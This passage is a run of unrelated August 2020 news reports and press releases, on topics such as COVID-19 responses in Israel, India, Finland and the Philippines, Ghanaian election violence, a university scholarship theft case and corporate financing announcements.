thus fewer bench warrants for failures to appear keeps both the police and the communities they serve safer. Dallas County recognizes that more needs to be done to assist more individuals awaiting their trial. Too many people are sitting in jail, who should not be there, said Jacob Sills, founder of Uptrust. Our partnership with the public defender will keep thousands of lives and families intact and save millions of dollars - a true win-win. ABOUT UPTRUST Uptrust is a criminal justice system-focused communication and engagement tool helping defendants arrive at court for their scheduled hearings and other mandatory appointments. By improving the relationship between the criminal justice system and defendants, Uptrust has proved to keep low-income defendants out of jail on bench warrants and technical violations, while also saving attorneys time and reducing the cost to the municipality or county. Uptrust currently is contracted with more than 150 public defender offices around the US reaching over 900,000 defendants. Uptrust is a public benefit corporation supported by the Draper Richards Kaplan Foundation, RFK Human Rights, Schmidt Futures and the Heising-Simons Foundation; it has offices in San Francisco, CA and Northampton, MA. To learn more about Uptrust, visit http://www.Uptrust.co. # # # Former President John Dramani Mahama has condemned the shooting violence that occurred at a voter registration centre at Nkrankwanta in the Dormaa West District of the Bono Region. Supporters of the New Patriotic Party (NPP) and National Democratic Congress (NDC) clashed in the Bono regional community over the weekend leading to the death of one person. One vehicle and motorbike were burnt amidst gunshots with two others injured. Three persons have also been arrested as a result. Police reinforcement was quickly dispatched to ensure restoration of peace and order. The former president in condemning the incident said, violence must never be an option of Ghanas democracy. He further said the incident shows that President Akufo-Addo has lost control of NPP and many sectors of Ghanas economy. I condemn the violence at the EC voters registration centre during the mop-up exercise in Dormaa on Sunday. I join the rest of our well-meaning compatriots to mourn the loss of the NPP activist who was killed by gunshots discharged by armed thugs of his own party. It is crystal clear now for all to see that armed NPP thugs are running rampage everywhere and this portends a clear and present danger to our democracy. Violence must never be an option in our democracy. Unfortunately, it is increasingly clear that having nurtured and democratized violence by his all die be die mantra, Nana Akufo-Addo has lost control of his own party, just as he has lost control of many sectors of the economy in Ghana. In January 2021, a new administration under my leadership will fix our economy and restore justice and peace to our beloved Ghana. ---citinewsroom Hyderabad, Aug 11 : Taking a serious note of people's complaints against private hospitals treating Covid-19 patients, the Telangana government is mulling to take over 50 per cent of their beds, by exercising powers under the Epidemic Disease Act. With over 1,000 complaints against private hospitals regarding Covid-19 treatment charges, Health Minister E. Rajender has directed officials to prepare plans to take over 50 per cent of beds, including ICU beds, and to offer treatment as per government terms, if the managements of the private hospitals do not mend their ways. After revoking the permission of two private hospitals to treat Covid patients last week, the Health Department has issued show-cause notices to several other hospitals for allegedly fleecing their patients. According to officials, 1,039 complaints were lodged through WhatsApp number 91541470960. Most of the people complained that private hospitals are charging exorbitant amounts for Covid-19 treatment. The state government, on June 15, had issued an order announcing the maximum rates chargeable by private hospitals for various services provided by them for Covid-19 treatment. The charges range between Rs 4,000 to Rs 9,000 per day, depending on the ward, and if ventilator support is provided. Some services were excluded, such as charges for high-end medicines. The private hospitals, however, were charging much more than the fixed tariff. People also complained that the hospitals collected money without issuing bills or the patient was admitted only after Rs 3 lakh to Rs 4 lakh was paid in advance. There were also complaints that the hospitals were not accepting insurance policies and credit cards. The Health Minister directed the officials to form a committee to look into the response to the show-cause notices, and to take action against erring hospitals. A three-member Central team on a tour of Covid-19 hospitals also came across numerous complaints against private hospitals. It advised the government to take over the reins of such hospitals under the Epidemic Disease Act, if required. The team comprised Dr Vinod Kumar Paul, Member, Niti Aayog; Aarti Ahuja, Additional Secretary, Health; and Dr P. Ravindran, director of the emergency medical relief (EMR) under the Health Ministry. The minister asked the private hospitals to stop exploiting the patients, warning that stringent action would be taken against those failing to mend their ways. He said the government would not hesitate to seize and take control of 50 per cent of the beds in private hospitals. The minister said while RT-PCR and rapid antingen tests were the only two best Covid-19 diagnostic tools, private hospitals were prescribing unnecessary tests like chest CT scan. Last week, the Director, Medical Health had revoked permission of two private hospitals to treat Covid patients after series of complaints against them. They were found charging the patients exorbitantly. The Health Minister earlier this month stated that a Covid patient can be treated for Rs 10,000. "If we keep aside medicines like Remdesivir, Tosilizumab and Favipiravir, the treatment of Covid-19 is possible within Rs 10,000 with medicines and oxygen and if advanced treatment is required, it can cost a maximum Rs 1 lakh. It does not require daily Rs 1 lakh or Rs 2 lakh," the minister said. The minister had also said that they were receiving complaints like the hospitals creating artificial shortage of beds, demanding Rs 3-4 lakh as advance, charging Rs 1-2 lakh per day for treatment, not releasing the body unless bills were cleared, treating asymptomatic cases, inflating their medical bills and dumping patients in government hospitals once their conditions turned serious. As per the bulletin issued on Tuesday, 112 private hospitals treating Covid had a total of 7,657 beds and out of them, 3,212 were vacant. Almost all the private hospitals are located in and around Hyderabad. There have also been allegations that the hospitals are refusing to admit ordinary patients citing lack of beds, while reserving beds for VIPs or those coming with recommendations. New Delhi, Aug 11 : The Centre's disinvestment plans might have got wings in the past one year but have made little headway in terms of actually making a deal for the cash-strapped government. With the pandemic hitting the economy hard, the sale processes have further been delayed. The landmark examples of privatisation plans not going as desired are that of BPCL and Air India. The government has been trying to sell Air India for some time now but has not been successful. The disinvestment process of the national carrier was announced in January and the deadline for submitting EoIs has been extended since then. The government also had to put 100 per cent stake in Air India up for sale after it did not find suitors for 76 per cent stake as announced earlier. Profit-making oil major Bharat Petroleum Corporation Ltd (BPCL), which has also been put on the block for strategic sale of 52.98 per cent stake, has also drawn a lukewarm response so far. The deadline for submission of Expressions of Interest (EoI) for the company has been deferred, for the third time, till September 30. The same has been the case with other state-run entities which the government plans to sell. In some cases where a market offering of shares has to be made, the conditions have not permitted the government to go ahead with the sale. In others, the loss-making nature of the unit in question had not found much interest from investors. The government targets to disinvest its stake in around 23 PSUs. In the Union Budget for FY21, the government had set a disinvestment target of Rs 2.1 lakh crore. The target was, however, described as ambitious by many, as the Centre didn't reach anywhere near it in the last fiscal and it got revised downwards twice. Even this year, the progress of disinvestment is sluggish and all hopes lie on the BPCL privatisation to reach anywhere close to the targeted disinvestment proceeds. Another concern also is the amount of money the government would make at this phase even if a deal is struck, given the impact of Covid on valuations. Several experts suggest that the government can go slow now as the response is not as expected and wait till the economic situation revives and the strategic sales bring in good money with high valuations. Former member of the erstwhile Planning Commission, Arun Maira told IANS that there is no need for the government to be desperate and sell assets during a depressed economic situation when they may not fetch good money. Rather, the government can wait till the situation improves, he added. He noted that if the government urgently requires money to spend, then it has other means including more borrowing and printing of notes, which, he noted, may impact the government's own finances as well as impact the value of the rupee. Maira, however, said that now is not the time to think of those factors. "These old rules of maintaining the government deficit at a certain level as well as making sure that the value of currency is maintained... those rules don't apply at this time," he said. "I do feel, overall, it's not a reason to be desperate to sell at this moment." Former Cabinet Secretary B.K. Chaturvedi was also of the view that even if the disinvestment plans go through at this moment, they may not fetch good prices. Calling for the government to be careful in its disinvestment moves, he said: "Many of the disinvestments they do, they may not fetch them a very good price..." He noted that the government should look at resources to raise revenue to meet their expenditure needs, but privatisation should not be the only focus. Former Secretary, Department of Economic Affairs and Disinvestment, Atanu Chakraborty, however, was of the view that interest among private players seems to be present and the valuation has more to do with the company itself or the sector concerned, rather than the pandemic impacting it. He also noted that the only impact which the pandemic might have caused on the disinvestment processes is the delay in physical due diligence, which is a major procedural activity in terms of strategic sale. "When you wish to sell a company, lock, stock and barrel, there are issues of due diligence, specially the physical due diligence..., not that doing it is improbable, as of now, that is doable but the physical issues involved may delay it slightly," Chakraborty told IANS. He added that interest in the market and capital inflow has been taking place, largely in terms of minority stake sale. Regarding strategic sale where management control also gets transferred, the physical due diligence is an aspect which may cause the delay in the times of Covid. Tuhin Kanta Pandey, Secretary for Department of Investment and Public Asset Management (DIPAM), last month had said that the pandemic has put brakes on the strategic disinvestment plans, to a great extent, as the process requires physical movement of people and checking of documents, which came to a halt amid Covid. But the Covid blues do not seem to deter the government from going into a selling spree as it is preparing a new disinvestment policy whereby some state-run banks and insurance companies would also be up for sale, according to people in the know. Announcing the Aatmanirbhar Bharat economic package in May, Finance Minister Nirmala Sitharaman had said that the government will exit from all non-strategic areas of business. But for now, it seems, although the government is ambitious, the Covid-induced slowdown may stretch the timeline to achieve its plans. JERUSALEM - Israel, desperate to rein in a resurgent coronavirus outbreak, has called in the army to take over testing and contact-tracing operations, part of a major restructuring of its pandemic campaign that includes naming a "corona czar" intended to be insulated from political pressures. The expanded role for the military will include the deployment of about 3,000 additional soldiers and civilian staff members to aid in testing and contact-tracing programs, including the call-up of about 2,000 reservists, an Israel Defense Forces (IDF) spokesman said. "Operation Alon" will be led by a brigadier general of the IDF's Home Front Command out of a base near the city of Ramla and will begin its work in the coming days, the spokesman said. As of Tuesday, Israel had recorded more than 85,300 coronavirus cases and 619 deaths. The decision to transfer the testing and tracing operation from the Health Ministry to the military was the first major action by Ronni Gamzu, a physician and former hospital administrator who last month was named the country's first coronavirus coordinator. He said shortcomings in the ministry's effort propelled the move to elevate the army, a step that had been resisted by Prime Minister Benjamin Netanyahu. "The Ministry of Health has failed to cut the rate of infections," Gamzu said in an interview. The military, meanwhile, is considered one of Israel's most adept institutions. "They can strike missiles from the air," he said. The delay in assigning a bigger pandemic role to the military had frustrated many in Israel's public health community, who have touted the military's logistical prowess and its long-standing preparations for biological and chemical attacks. Hagai Levine, chairman of the Israeli Association of Public Health Physicians, said health officials had long assumed that the military would take a lead role in any major outbreak and had regularly gamed out pandemic scenarios with IDF officers. Even as some of Netanyahu's rivals called for the IDF to do more, including Benny Gantz, the alternate prime minister and current defense minister, the military had taken on only spot missions. Most notably, the army operates "corona hotels," where asymptomatic and mildly ill patients quarantine while infectious. Now it will take on the central mission of expanding the nationwide testing and tracing campaign. Commanders said they hoped to shorten the average time to get test results from five days to no more than 36 hours. The changes are part of a major reboot of the national pandemic strategy; Israel has plummeted from a pandemic success story to suffering the highest per-capita morbidity rate in the world, according to Gamzu. With cases spiking in recent weeks and threatening to overwhelm some hospitals, he said the country might have to return to a general lockdown if the pace of new infections does not slow by early September. The outcome of his efforts will also influence the fate of key milestones, including opening up air travel and reopening schools, which were a significant source of the transmission surge when classes resumed in May. "We are trying to get coronavirus down without a lockdown. That is my goal," Gamzu said. "Israel is trying do what no other country has done." Gamzu has established a color-coded rating system for individual communities, with red and orange neighborhoods subject to increased restrictions and receiving more resources. He has set up separate command centers in ultra-Orthodox neighborhoods battling stubborn outbreaks. The early moves have drawn praise from the medical community. Levine described Gamzu as "studious, brilliant and a great manager," adding: "He understands the difference between the professionals and the politicians." Gamzu takes the helm six months into Israel's outbreak, after Netanyahu repeatedly resisted calls to appoint a single overseer of the complex pandemic campaign. During the first wave of infections, Netanyahu dominated the response, appearing almost nightly on television to announce border closures, stay-home orders and mask mandates. But he is also accused of rushing the reopening of schools, restaurants and other activities in the spring, leading to a new wave of infections. With a new unity government taking power in May and the prime minister focused on other issues - including the proposed annexation of settlements in the West Bank and his ongoing corruption trial - the pandemic response grew more piecemeal. Attempts to reinstitute restrictions on restaurant dining and beachgoing have been weakened by cabinet infighting and objections in the Knesset, Israel's parliament. Gamzu's appointment is meant to cut through much of the bickering, although he has had to navigate the political winds, too. He opposed the typical August influx of thousands of international students who come for a stint at yeshivas all over Israel. But he acquiesced to ministers and Knesset members from religious parties and approved the arrival of about 12,000 young scholars, many from the United States, on the promise that they quarantine in their dorm rooms for two weeks before joining the crowded communal study halls. "Finally, after months of delay, they appoint someone to deal with all this, and they are still haggling over what he can do," lamented Dan Ben-David, a professor at Tel Aviv University and president of the Shoresh Institution for Socioeconomic Research. "The politicians need to set the goals, find the resources and then get out of his way." Gamzu, who has degrees in medicine, management and law, is a former high-ranking Health Ministry official and, most recently, was the head of Tel Aviv's Sourasky Medical Center, Israel's largest acute-care hospital. He was named to the coronavirus post only after another candidate dropped out, reportedly over concerns about the autonomy he would have. But Gamzu insists that he has the power to maneuver Israel's complex bureaucracies. "I have all the autonomy I need," he said. "I ignore the politics. I don't care who is mad at me." The Department of Early Education and Care in Massachusetts reported 64 cases of coronavirus had been reported at 47 emergency child care centers, forcing temporary closures and quarantines at some of the programs set up to care for children of essential workers, according to the Boston Globe. The Boston Globe reported that the EEC has refused to provide data on coronavirus cases reported by the state-licensed emergency child care centers that remained open during the three months while the state was shut down. In the limited data that was provided, the vast majority of cases were of a single person at each facility who was infected, although nine programs reported more than one case, EEC spokesperson Colleen Quinn told the newspaper. No program reported more than five cases. Quinn, in her email to the Globe, wrote that there were 32 cases reported among staff at child care centers, and another 32 children at the facilities, or their family members, were infected. The documents received by the newspaper did not give any more detail about the coronavirus cases. Emergency daycare centers began opening in March taking care of the children of essential workers, nurses, doctors, first responders, custodial staff and grocery store personnel on the front lines of the fight against COVID-19. Got a news tip or want to contact MassLive about this story? Email newstips@masslive.com or message us on Facebook orTwitter. You can also call our news tips line at 413-776-1364. Kabul, Aug 11 : At least one person was killed and two others were injured in a magnetic mine blast targeting a vehicle in Kabul, police said. The incident took place at around 7 a.m. in Afghan capital's Khairkhana area in PD11, TOLO News. The police said that a probe into the blast is underway, without providing further details. No individual or group including the Taliban has claimed responsibility yer. On Monday, government data seen by TOLO News said that at least 80 civilians were killed and 95 others were wounded in security incidents over the last week after the three-day Eid ceasefire. The highest number of casualties has been in Nangarhar (49 dead or wounded) and the lowest has been in Kabul (1). What The Viewpoint Says: Guidelines from the American Academy of Pediatrics on K-12 school reentry are discussed in this Viewpoint. Authors: C. Jason Wang, M.D., Ph.D., of the Stanford University School of Medicine in Stanford, California, is the corresponding author. To access the embargoed study: Visit our For The Media website at this link https://media.jamanetwork.com/ (doi:10.1001/jamapediatrics.2020.3871) Editor's Note: The article contains conflict of interest disclosures. Please see the article for additional information, including other authors, author contributions and affiliations, conflict of interest and financial disclosures, and funding and support. ### The full article is linked to this news release. Embed this link to provide your readers free access to the full-text article This link will be live at the embargo time https://jamanetwork.com/journals/jamapediatrics/fullarticle/10.1001/jamapediatrics.2020.3871?guestAccessKey=d1a6e543-7745-4cce-836b-6e92a4ba0ab8&utm_source=For_The_Media&utm_medium=referral&utm_campaign=ftm_links&utm_content=tfl&utm_term=081120 President Rodrigo Duterte volunteered himself as a guinea pig for Russia's coronavirus vaccine as he struck a deal that will see the Philippines get the jab for free - but before it has passed full clinical trials. That will mean the country - which has southeast Asia's highest coronavirus case total at 136,638 - will effectively be used as a giant testing ground for the jab. 'When the vaccine arrives, I will have myself injected in public. Experiment on me first, thats fine with me,' Duterte said as he announced the deal on Monday night. Philippines President Rodrigo Duterte volunteered himself as a test case for Russia's coronavirus vaccine, after he struck a deal to get millions of doses for free - before the jab has passed full clinical trials Infections are spreading rapidly in the Philippines, with a record jump of 6,958 cases announced on Monday. 'I will tell President (Vladimir) Putin that I have huge trust in your studies in combating COVID and I believe that the vaccine that you have produced is really good for humanity,' Duterte said on television late on Monday. The frenetic global race to develop a COVID-19 vaccine has raised concern that speed and national prestige could compromise safety. To allay public fears, Duterte offered to be a guinea pig when the vaccine arrives and said: 'I can be the first they can experiment on.' His office on Tuesday said the Philippines stands ready to work with Russia on vaccine trials, supply and mass production. The Philippines has recorded 136,638, the highest total in southeast Asia, and the infection is spreading fast - with a record jump of 6,958 cases on Monday (file image) In July, Duterte made a plea to his Chinese counterpart to make the Philippines a priority if it develops a vaccine, amid concern in developing countries about availability. He this month restored a strict lockdown in and around the capital Manila for an initial two weeks, heeding the plea of medical frontliners for a 'timeout' amid a surge in infections during a period when restrictions were eased. If the situation becomes a 'runaway contagion', Duterte on Monday vowed to mobilise the military to enforce the lockdown. The lockdown has been among the world's toughest and Duterte's opponents and rights groups have voiced concern about his security-centred approach and the conduct of police. University of Missouri awarded $1.5 million to improve traffic safety, reduce congestion A $1.5 million grant from a coalition of the Missouri Department of Transportation, St. Charles County Government and the East-West Gateway Council of Governments will allow engineers at the University of Missouri to develop a real-time traffic management system over the next year for different public agencies -- local, county and state governments -- to seamlessly share their transportation data between agencies. The system will first be used in the greater St. Louis area. Yaw Adu-Gyamfi, an assistant professor in the College of Engineering and the project lead, said the cloud-based system is a way for public officials to determine optimal traffic flow in a particular geographic area and help increase roadway safety by integrating data from multiple transportation agencies, including transportation management and emergency services. For example, the system will allow for quicker multi-agency responses to vehicle crashes and traffic management to route traffic around those incidents, such as a crash on Interstate 70. "After a crash, police and emergency services need to quickly respond to the location, but also emergency management and traffic management centers need to figure out how to route traffic around the affected area," said Adu-Gyamfi, whose appointment is in the Department of Civil Engineering. "We want to be able to detect and respond to those incidents quickly, because the longer an incident goes undetected, the more traffic can back up and increase the likelihood for a second crash. So, incident response times can improve with this system." Different existing traffic management systems in a similar location might be owned and operated by different agencies, so Adu-Gyamfi said it can be difficult for one agency to currently view what is shown on another's system. Also, he said many agencies do not have the resources in-house to analyze the data they already own and collect. The system will combine both of these needs into a user-friendly format that's also broadly accessible to a large amount of people because the data will be stored on a cloud-based system, or the internet. "Different transportation agencies in Missouri focus on different things -- including planning and executing projects, managing traffic and building roads," Adu-Gyamfi said. "They each have to view large amounts of data that's also coming in at a fast rate, so they often don't have a way to analyze it. With this system, these agencies will be able to stream data sets in real time and look at what's going on over a very large geographical area. It can take all of the different data sets and present them in a format that is easy to understand." Adu-Gyamfi said the researchers plan to create similar systems for other major metropolitan areas in Missouri -- including Columbia, Kansas City and Springfield -- and their local transportation agencies. ### This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Credit: Pixabay/CC0 Public Domain People arriving in Finland from coronavirus "risk countries" have to self-isolate for 14 days or risk a fine or up to three months' imprisonment, ministers announced on Monday. Until now the Nordic country has relied on arrivals voluntarily quarantining themselves, with no sanctions in place for those who do not follow the recommendation. Announcing that the new rules will be implemented "as soon as possible", health minister Krista Kiuru also said arrivals may face compulsory coronavirus testing. The decision follows a number of reports in recent days of planes arriving from Eastern European and Balkan countries carrying passengers who were either found to be infected or who refused to be tested on arrival. After a number of weeks early in the summer with only a trickle of cases, 135 new infections have been recorded in the past seven days. "The number of infections has surprised us all," Kiuru told a press conference on Monday, while health officials blamed arrivals from overseas for some of the increase in cases. "We have had discussions as to whether we can stop flights from risk countries. We are looking into it," Kiuru said. The measures will apply to arrivals to all countries except those on Finland's green list, which are those with fewer than eight new cases per 100,000 population in the last two weeks. Currently 25 countries are deemed safe, including Ireland, Japan, Greece, Cyprus and Uruguay. According to the World Health Organization, Finland has one of the lowest virus incidence rates in Europe, with just three new cases per 100,000 population. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak 2020 AFP You must be logged in to participate in the Show Me the Errors contest. In the aftermath of the horrific explosion in Lebanons capital Beirut, Egypts civil aviation ministry, in a statement on August 9, has said that it has decided to shift hazardous materials held at airports nationwide to comparatively safer locations. The statement released on Facebook said that the ministry is taking precautionary measures with regards to dangerous materials, either immediately releasing them or transferring them to safe storage spaces well outside the range of airports and residential areas. The statement referred to the materials that were stored in cargo bays and storage warehouses in Cairo's airport and all airports nationwide. However, Egypts civil aviation ministry did not mention specifically what kind of materials would be moved. The massive explosion at Beirut, which sent shock waves to the entire world and reportedly killed at least 158 people with over 4,000 injured, was caused by unsecured stock of ammonium nitrate stored in a warehouse at the port. Egypt's civil aviation minister, Mohamed Manar also said a committee will conduct a comprehensive evaluation of all the procedures that take place inside the storage areas. The devastating blast at Beirut had reportedly left a 43-metre deep crater at the port and wrecked destruction across the Lebanon capital also called the Paris of Middle East. Read - Beirut Explosion: Lebanon PM Hassan Diab Announces Resignation Of Government Read - Lebanon's Cabinet Resigns Over Beirut Blast Amid Public Fury The massive explosion rocked the Lebanese capital The explosion has flattened most of a port and cause serious damage to property across Lebanons capital on August 4. It has also triggered nationwide protests and anger. The blast sent a giant mushroom cloud into the sky several multiple people injured and dead with numerous people missing. Even though the cause of the Beirut explosion was not known immediately, reports suggested that a fire had detonated a warehouse at the port. Read - Aid Distributed In Areas Affected By Beirut Blast The Lebanese Prime Minister Hassan Diab, who has now resigned from his position, reportedly said that 2,700 tonnes of ammonium nitrate stored at a warehouse near the Beirut port exploded resulting in the huge explosion. While stepping down, Diab said, "I declare today the resignation of this government. May God protect Lebanon, and repeated the last phrase three times. The investigators probing the deadly incident are reportedly focussed on possible negligence in the storage of tons of highly explosive fertilizer in the port warehouse. Meanwhile, the government has ordered the arrest of several port officials. Read - Special Unit Works On Chemicals At Beirut Blast Site Read - Beirut Explosion Should Not Be Politicised By Countries, Says Iran Acting Police Commissioner McDonald Jacob has been given notice by leader of The First Wave Movement, Umar Abdullah, that there will be two more peaceful marches this month. It comes on the heels of Abdullah being charged on Monday for leading a march around the Queens Park Savannah without permission from the acting police commissioner. HOUSTON, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Targa Resources Partners LP (the Partnership), a subsidiary of Targa Resources Corp. (NYSE: TRGP), and the Partnerships subsidiary Targa Resources Partners Finance Corporation announced today that, subject to market conditions, they intend to sell in an offering in the United States to qualified institutional buyers pursuant to Rule 144A under the Securities Act of 1933, as amended (the Securities Act), and to persons outside of the United States pursuant to Regulation S under the Securities Act, $750.0 million in aggregate principal amount of senior unsecured notes due 2031. The Partnership intends to use a portion of the net proceeds from the offering to fund the concurrent cash tender offer (the Tender Offer) to purchase for cash, subject to certain conditions, any and all of the Partnerships 6 34% Senior Notes due 2024 (the 2024 Notes), to pay fees and expenses thereof, and to redeem any 2024 Notes that remain outstanding after consummation of the Tender Offer. The Partnership will use the remaining net proceeds from the offering to reduce borrowings under the Partnerships senior secured revolving credit facility. The offering is not conditioned on the consummation of the Tender Offer. The Tender Offer is conditioned on, among other things, the offering. The securities to be offered have not been registered under the Securities Act, or any state securities laws, and unless so registered, the securities may not be offered or sold in the United States except pursuant to an exemption from, or in a transaction not subject to, the registration requirements of the Securities Act and applicable state securities laws. The senior unsecured notes are expected to be eligible for trading by qualified institutional buyers under Rule 144A under the Securities Act and by non-U.S. persons pursuant to Regulation S under the Securities Act. This announcement shall not constitute an offer to sell or a solicitation of an offer to buy any of these securities, except as required by law. About Targa Resources Partners LP Targa Resources Partners LP is a Delaware limited partnership formed in October 2006 by its parent, Targa Resources Corp. (TRC or the Company), to own, operate, acquire and develop a diversified portfolio of complementary midstream energy assets. On February 17, 2016, TRC completed the acquisition of all outstanding common units of the Partnership. Targa Resources Corp. is a leading provider of midstream services and is one of the largest independent midstream energy companies in North America. The Company owns, operates, acquires and develops a diversified portfolio of complementary midstream energy assets. The Company is primarily engaged in the business of: gathering, compressing, treating, processing, transporting and selling natural gas; transporting, storing, fractionating, treating and selling NGLs and NGL products, including services to LPG exporters; and gathering, storing, terminaling and selling crude oil. The principal executive offices of Targa Resources Partners LP are located at 811 Louisiana, Suite 2100, Houston, TX 77002 and their telephone number is 713-584-1000. For more information, please visit our website at www.targaresources.com. Forward-Looking Statements Certain statements in this release are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements, other than statements of historical facts, included in this release that address activities, events or developments that the Partnership expects, believes or anticipates will or may occur in the future are forward-looking statements. These forward-looking statements rely on a number of assumptions concerning future events and are subject to a number of uncertainties, factors and risks, many of which are outside the Partnerships control, which could cause results to differ materially from those expected by management of the Partnership. Such risks and uncertainties include, but are not limited to, weather, political, economic and market conditions, including a decline in the price and market demand for natural gas, natural gas liquids and crude oil, the impact of pandemics such as COVID-19, actions by the Organization of the Petroleum Exporting Countries (OPEC) and non-OPEC oil producing countries, the timing and success of business development efforts; and other uncertainties. These and other applicable uncertainties, factors and risks are described more fully in the Partnerships filings with the Securities and Exchange Commission, including its Annual Reports on Form 10-K, Quarterly Reports on Form 10-Q and Current Reports on Form 8-K. The Partnership does not undertake an obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise. Contact the Company's investor relations department by email at InvestorRelations@targaresources.com or by phone at (713) 584-1133. Sanjay Lad Vice President Finance & Investor Relations Jennifer Kneale Chief Financial Officer Pocketing a student's scholarship fund and then using that for personal profit? That's what one former Texas Southern University assistant dean has been accused of in an elaborate scholarship scheme which resulted in $74,000 theft from the school. Edward Wayne Rene, 52, faces a second-degree felony theft charge after officials allege that he stole from the university by "awarding double tuition scholarships to at least two students," and then made students return the extra money which he then pocketed, according to the Houston Chronicle. If he's convicted, he'll face the maximum punishment of 20 years in prison. "The former TSU Law School Dean of Admissions masterminded a variety of schemes to steal money from the school by diverting student scholarship funds to himself," Harris County District Attorney Kim Ogg explained in a statement. The scheme allegedly began in August 2017, according to an FBI affidavit. The two students informed the FBI that Rene had offered scholarships to cover tuition costs, but then received tens of thousands in additional financial aid. That's when Rene then informed the students that the excess funds needed to returned to him, according to the affidavit. Rene reportedly told one student that the additional funds would be returned to a "charitable foundation" to help minority students, the affidavit states. However, he then told the student to write a cashier's check to Rene instead of a charitable foundation. "He abused his power for personal profit and his actions hurt the school and the students," Ogg continued. "It was the TSU Board of Regents who brought us the case following an internal investigation, and we applaud their swift actions to bring this thief to justice." In November, the university said that an employee had been fired over improprieties in the admissions process, but did not disclose what the improprieties were. At that point, the school disclosed that the findings of their internal audit were given to local authorities. If anyone has more information about this case, they are urged to contact the District Attorney's Office Public Corruption Division of FBI's Houston Division at 713.274, 5811. alison.medley@chron.com Phoenix, Arizona--(Newsfile Corp. - August 11, 2020) - The Stock Day Podcast welcomed CO2 GRO Inc. (TSXV: GROW) (OTCQB: BLONF) ("the Company"), a company whose target markets are focused on the 85% of the 50 billion square feet of global greenhouse and covered cultivation space that cannot use CO2 (USDA). Vice President of Sales, Aaron Archibald, joined Stock Day host Everett Jolly. Jolly began the interview by asking about the Company's background and current projects. "We're a company that delivers CO2 to indoor growers everywhere," explained Archibald. "Our mission is to accelerate the growth of all value plants safely, efficiently, and profitably using our patented CO2 Delivery Solutions systems," said Archibald, noting that the Company delivers CO2 to all types of indoor plant growers and also offers potential outdoor applications. Jolly then asked about the Company's target markets. "So, our target markets are all value plants, which is anything from microgreens to lettuce to peppers, tomatoes, hemp, cannabis, and potentially certain strains of bio-farming tobacco used to make vaccines," said Archibald. "We dissolve CO2 into a misting solution, so it's water and CO2, and that is misted into a very fine spray onto plants. What that does is it creates a microfilm around the plant, which then drives the CO2 through the plant leaf and stem," he continued. "We're enhancing growing plants for indoor growers." "On August 6th, you put out a press release detailing a non-broker deal. If you would, bring us up to speed on how that equity financing came about," said Jolly. "That is a very exciting thing for our company with Ospraie Ag Science," shared Archibald. "They invest only in sustainable and cutting edge ag-tech companies, so to have them as a strategic investment partner is great," he explained. "It was a fully-subscribed offering, they took up 85% of the C$1.38 million which comes close to $3 million if all warrants get exercised. It really validates our technology, our mission, and our goals, and having a strategic investment company like that want to invest in us speaks to what we are doing correctly," continued Archibald, before elaborating on the value this agreement will have on the Company's marketing and sales resources. "What can investors expect going forward?", asked Jolly, noting the challenges that have been presented by the current pandemic. "COVID-19 has been tough on everyone. For us, we are a somewhat virtual company, and we deal with regional sales groups and regional installation and support groups. So, the travel ban hasn't affected us the way some other companies have been affected," explained Archibald. "2020 was really our target commercialization year," he continued, sharing that the Company intended to begin selling and leasing their CO2 technology both nationally and internationally throughout 2020. "We've been able to stay on point on that," said Archibald. "In 2020, we've had two dozen new installations to date," he shared. "I'm really pleased with where we're going with our systems." The conversation then turned to the Company's pricing for the installation of their CO2 systems. "The larger the installation, the greater the price," explained Archibald. "We're saving growers on infrastructure costs because we are an irrigation system that mists the water onto the plants. It's more economically feasible for growers, especially when they see the yield increases and the decreases in pathogen growth. So, that's definitely helping us move our technology forward," said Archibald. To close the interview, Archibald shared that the Company is entering an exciting period as they expand their commercialization efforts nationally and internationally. To hear Aaron Archibald's entire interview, follow the link to the podcast here: https://audioboom.com/posts/7655327-co2-gro-inc-discusses-their-2020-commercialization-strategy-with-the-stock-day-podcast. Investors Hangout is a proud sponsor of "Stock Day," and Stock Day Media encourages listeners to visit the company's message board at https://investorshangout.com/. About CO2 GRO Inc. GROW's target markets are focused on the 50 billion square feet of global greenhouse and covered cultivation space (USDA). Atmospheric enrichment of CO2 by gassing has been practiced in indoor and expensive sealed greenhouses for decades resulting in enhance crop yields of up to 30%. However, 85% of the world's greenhouses are unsealed and have open-venting designs for heat ventilation which makes CO2 gassing uneconomical and impractical since the CO2 gas easily escapes. GROW's CO2 Delivery Solutions naturally and safely dissolves CO2 gas into water creating an aqueous CO2 solution which is then misted directly on plant leaves. GROW has demonstrated its technology to be as effective as CO2 gassing by improving crop yields up to 30%, while using a fraction of the CO2 gas. The CO2 solution's micro droplets create an aqueous film around the entire leaf surface, isolating the leaf from the atmosphere. This creates a diffusion gradient favoring CO2 transport into the leaf and other gases out of the leaf. Increased carbon availability enhances photosynthesis resulting in faster and larger plant growth. CO2 Delivery Solutions has been demonstrated on crops including Cannabis, hemp, lettuce, kale, microgreens, peppers and flowers. In addition, aqueous CO2 misting offers Perimeter Protection for plants by slowing the spread of micro pathogens such as E. coli and powdery mildew. Greenhouse growers everywhere can now supplement CO2 to their crops using CO2 Delivery Solutions, increasing plant yields and profits. Forward-Looking Statements This news release may contain forward-looking statements that are based on CO2 GRO's expectations, estimates and projections regarding its business and the economic environment in which it operates. These statements are not guarantees of future performance and involve risks and uncertainties that are difficult to control or predict. Therefore, actual outcomes and results may differ materially from those expressed in these forward-looking statements and readers should not place undue reliance on such statements. Statements speak only as of the date on which they are made, and the Company undertakes no obligation to update them publicly to reflect new information or the occurrence of future events or circumstances, unless otherwise required to do so by law. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. For more information, please visit www.co2gro.ca or contact Sam Kanes, VP Communications at 416-315-7477 or Michael O'Connor, Manager of IR at 604-317-6197. About The "Stock Day" Podcast Founded in 2013, Stock Day is the fastest growing media outlet for Nano-Cap and Micro-Cap companies. It educates investors while simultaneously working with penny stock and OTC companies, providing transparency and clarification of under-valued, under-sold Micro-Cap stocks of the market. Stock Day provides companies with customized solutions to their news distribution in both national and international media outlets. The Stock Day Podcast is the number one radio show of its kind in America. Stock Day recently launched its Video Interview Studio located in Phoenix, Arizona. SOURCE: Stock Day Media (602) 821-1102 To view the source version of this press release, 